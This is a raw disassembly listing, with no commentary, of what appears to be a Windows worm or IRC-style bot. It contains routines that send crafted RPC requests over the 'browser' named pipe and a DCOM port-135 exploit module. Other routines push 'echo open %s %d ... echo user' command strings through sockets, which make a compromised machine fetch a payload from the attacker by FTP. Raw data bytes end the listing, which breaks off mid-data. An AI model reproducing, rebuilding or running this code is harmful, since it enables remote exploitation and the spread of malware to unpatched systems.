		db  6Eh	; n
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  80h	; €
		db 0E0h	; à
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_4049C7:				; CODE XREF: ___:004049C0j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2670000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_404A0B


loc_404A04:				; CODE XREF: ___:00404AE3j
					; ___:00404CB9j ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------


loc_404A0B:				; CODE XREF: ___:00404A02j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_428C34
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_428C20
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jnz	short loc_404AE8


loc_404ADA:				; CODE XREF: ___:00404BB4j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26508BEh
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404AE8:				; CODE XREF: ___:00404AD8j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2650000h
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730C
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_436F00
		jmp	short loc_404B72
; ---------------------------------------------------------------------------


loc_404B5F:				; CODE XREF: ___:00404B4Bj
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_428C17+1)


loc_404B72:				; CODE XREF: ___:00404B5Dj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730C
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41730C
		cdq
		idiv	edi
		mov	eax, dword_428BBC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, dword_428BC0[esi]
		add	esp, 30h
		cmp	byte_428BC8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_436EF8
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C6B:				; CODE XREF: ___:00404C1Cj
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_428BE0


loc_404C7C:				; CODE XREF: ___:00404C91j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_417390
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_404C7C


loc_404C93:				; CODE XREF: ___:00404C69j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_404CBE
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26508BEh
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------


loc_404CBE:				; CODE XREF: ___:00404CA7j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_417330
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_424294
		fstp	qword ptr [esp]
		call	sub_417DEB
		call	sub_417DC4
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_404D2B


loc_404D23:				; CODE XREF: ___:00404D26j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+0Ch], eax


loc_404D2B:				; CODE XREF: ___:00404D21j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 26703DCh
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_404D98:				; CODE XREF: ___:00404E22j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp-4Ch], ebx
		jz	short loc_404E1C
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jnz	short loc_404E03
		nop
		call	near ptr 267036Ah
		cmp	eax, 3E5h
		jnz	loc_404A04


loc_404E03:				; CODE XREF: ___:00404DF0j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26702BDh
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+0Bh], 1


loc_404E1C:				; CODE XREF: ___:00404DCFj
					; ___:00404E16j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------


loc_404E2A:				; CODE XREF: ___:00404DCAj
		mov	esi, [ebp-8]


loc_404E2D:				; CODE XREF: ___:00404D9Cj
					; ___:00404E28j
		push	dword ptr [ebp-4]
		mov	edi, dword_424078
		call	edi
		push	esi
		call	sub_417C3B
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_404E49
		push	dword ptr [ebp-4Ch]
		call	edi


loc_404E49:				; CODE XREF: ___:00404E42j
		cmp	[ebp+0Bh], bl
		setnz	al


loc_404E4F:				; CODE XREF: ___:00404A06j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0C2h	; Â
		db  24h	; $
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db 0E8h	; è
		db  78h	; x
		db 0C4h	; Ä
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db 0E8h	; è
		db 0B7h	; ·
		db 0C8h	; È
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  83h	; ƒ
		db 0EDh	; í
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0AAh	; ª
		db 0EFh	; ï
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db    4
		db  42h	; B
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db  74h	; t
		db 0F6h	; ö
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  0Ch
		db  6Fh	; o
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0FCh	; ü
		db  5Fh	; _
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db 0DCh	; Ü
		db  89h	; ‰
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  2Eh	; .
		db  29h	; )
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db 0A3h	; £
		db  2Bh	; +
		db    1
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0D7h	; ×
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  33h	; 3
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
		dd 90000007h, 21B50BE8h, 0FB834302h, 33B87202h,	5B5E5FC0h
		dd 58016AC3h
		db 0EBh, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: ___:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C


loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------


loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43ADD8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43AD98
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------


loc_4050DB:				; CODE XREF: ___:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE


loc_4050F4:				; CODE XREF: ___:004050D9j
		nop
		call	near ptr 71AB1A6Dh


loc_4050FA:				; CODE XREF: ___:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------


loc_4050FE:				; CODE XREF: ___:004050F2j
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_40513D:				; CODE XREF: ___:00405126j
		push	1
		pop	eax


loc_405140:				; CODE XREF: ___:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: ___:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_C], eax
		mov	ax, word_42A040
		push	eax
		call	dword_43AD98
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43ADB0
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		call	near ptr 2620494h
		nop
		push	offset byte_42F674
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F


loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------


loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43ADB0
		push	esi
		call	dword_43AE30
		mov	al, 1


loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		nop
		call	near ptr 71AB2BBFh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		nop
		call	near ptr 71AB12F8h
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------


loc_4052A8:				; CODE XREF: ___:00405298j
		mov	ebx, [ebp+0C0h]


loc_4052AE:				; CODE XREF: ___:004052A6j
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3C22h
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------


loc_4052D8:				; CODE XREF: ___:004052BEj
		mov	[ebp-0Ch], ebx


loc_4052DB:				; CODE XREF: ___:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: ___:004052DDj
		mov	word ptr [ebp-10h], 2


loc_4052EF:				; CODE XREF: ___:004052E7j
		push	599h
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	near ptr 71AB3E5Dh
		nop
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		nop
		call	near ptr 71AB1AF4h
		push	3E8h
		nop
		call	near ptr 2620494h
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------


loc_405354:				; CODE XREF: ___:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------


loc_4053BE:				; CODE XREF: ___:0040530Dj
		push	1
		push	edi
		nop
		call	near ptr 71AB8629h
		push	edi
		nop
		call	near ptr 71AB1A6Dh


loc_4053CE:				; CODE XREF: ___:004053BCj
		xor	eax, eax


loc_4053D0:				; CODE XREF: ___:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	near ptr 71AB41DAh
		nop
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	0FEB0h
		push	406h
		call	sub_415450
		add	esp, 10h
		mov	dword_436F0C, eax
		push	edi
		push	ebx
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	near ptr 71AB3F8Dh
		nop
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB155Ah
		mov	ax, word ptr dword_436F0C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3ECEh
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------


loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		call	near ptr 71AB5DE2h
		nop
		mov	[ebp+var_228], ebx
		mov	ebx, dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		nop
		call	near ptr 71AB1890h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8


loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46
; ---------------------------------------------------------------------------
		db 85h
		dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh,	10DC45h
		dd 8D500000h, 0FFFDC885h, 75FF50FFh, 3133E8F4h,	8390716Bh
